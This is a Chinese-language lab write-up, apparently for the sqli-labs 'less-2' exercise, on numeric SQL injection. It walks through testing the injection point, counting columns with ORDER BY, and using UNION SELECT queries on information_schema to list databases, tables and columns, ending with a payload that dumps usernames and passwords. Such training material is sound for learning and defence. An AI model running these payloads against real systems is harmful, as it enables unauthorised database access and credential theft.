less-2-数值型注入
判断注入点、注入类型--尝试注入--获取数据库--获取表--获取字段--获取数据库内容
1、判断注入点、注入类型
输入id=1 正常查询回显,输入一下sql代码
?id=1' --+ 和 ?id=1" --+后报错说明没有 ' 和 "闭合,判断是数值型注入。
2、尝试注入
既然不是' 和 " ,我们猜测是数值型注入我们直接输入order by <number> 测试回显
输入一下sql代码
?id=1 order by 3回显正常
再输入
?id=1 order by 4后报错说明3个字段是查询的极限字段。
注:数值型不需要在后面输入#、--+来注释。
输入一下代码测试是否是3个字段
注:要制造一个为假的代码让后面的union语句执行。
?id=-1 union select 1,2,33、获取数据库
知道查询字段为3个,可显示的字段为2,3;我们利用万能公式获取数据库名字,我目前知道的有两条命令(其实就是前面的less-1的)
第一条
利用MySQL自带的数据库
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata第二条
通过database()函数
?id=-1 union select 1,2,database() from information_schema.schemata4、获取表
排除MySQL自带的数据库,可以知道challenges,security是用户自己创建的
我们直接查询security库
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'5、获取字段
知道了目标的数据库还有表名,我们直接通过数据库和表名查询它们的字段
注:下面的sql注入语句通过数据库和表,利用MySQL的information_schema数据库来获取到相应的内容。
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'6、获取数据库内容
知道了库、表、字段,我们就可以直接查询了
输入一下sql代码
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users其他的表查询方法跟上面的一样。
